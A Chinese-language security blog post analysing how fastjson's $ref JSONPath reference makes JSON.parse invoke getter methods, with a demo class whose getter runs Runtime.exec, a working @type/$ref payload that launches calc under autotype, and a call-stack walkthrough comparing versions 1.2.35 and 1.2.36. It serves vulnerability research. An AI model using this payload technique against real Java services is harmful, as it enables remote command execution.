写在前面
平时我们在处理fastjson反序列化的时候,如果我们想要执行属性的get方法,而如果只有JSON.parse怎么办 我们知道JSON.parse可以套一层parseObject实现对get方法的调用,但说这个也没有必要继续本篇的介绍了,这里介绍另一种,废话不多说开始分析
JSONPath语法
看文档https://goessner.net/articles/JsonPath/,重点关注下这个 
利用演示
人比较不老实,喜欢骚东西,这里执行下命令
public class Test {
private String cmd;
public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
}
触发
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.yyds.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
Object o = JSON.parse(payload);
}
最爱的计算器 
$ref引用触发get方法分析
简简单单引入依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.36</version>
</dependency>
老规矩拉到底,看看调用栈再分析  跟进handleResovleTask函数  获取$ref 至于如果你问在哪里设置的在DefaultJSONParser#parse() 
ok,不说废话,继续看下去,满足条件跟进  这里面没有返回null  接下来重点来了,我们看看JSONPath.eval函数干了什么  跟进compile 
根据path生成并返回一个JavaPath对象  继续看看eval  这里有一个init函数执行  我们重点关注这个explain函数,把$ref的value解析成Segment,这个Segment是定义在JSONPath类的一个接口,具体看他的过程  这里初始化长度是8很好奇吗 因为实现segment接口的类只有八个
 ok,继续看看这个readSegement,获取.后面的值 这里通过readName获取到cmd  内部实现靠循环追加到StringBuilder后面  后面通过浅拷贝赋值返回 接下来按顺序执行前面explain生成的Segment array
 跟进JSONPath.getPropertyValue  继续跟进  跟进
 后面就是用反射调用get方法了   分析完毕
解释为什么1.2.36前的版本不行
我们知道关键在于JSONPath.eval方法的调用 我们来对比一下,前为1.2.36版本,后为1.2.35版本 
 限制了refValue的值不能为null,并且必须是JSONObject对象,那就结束了
|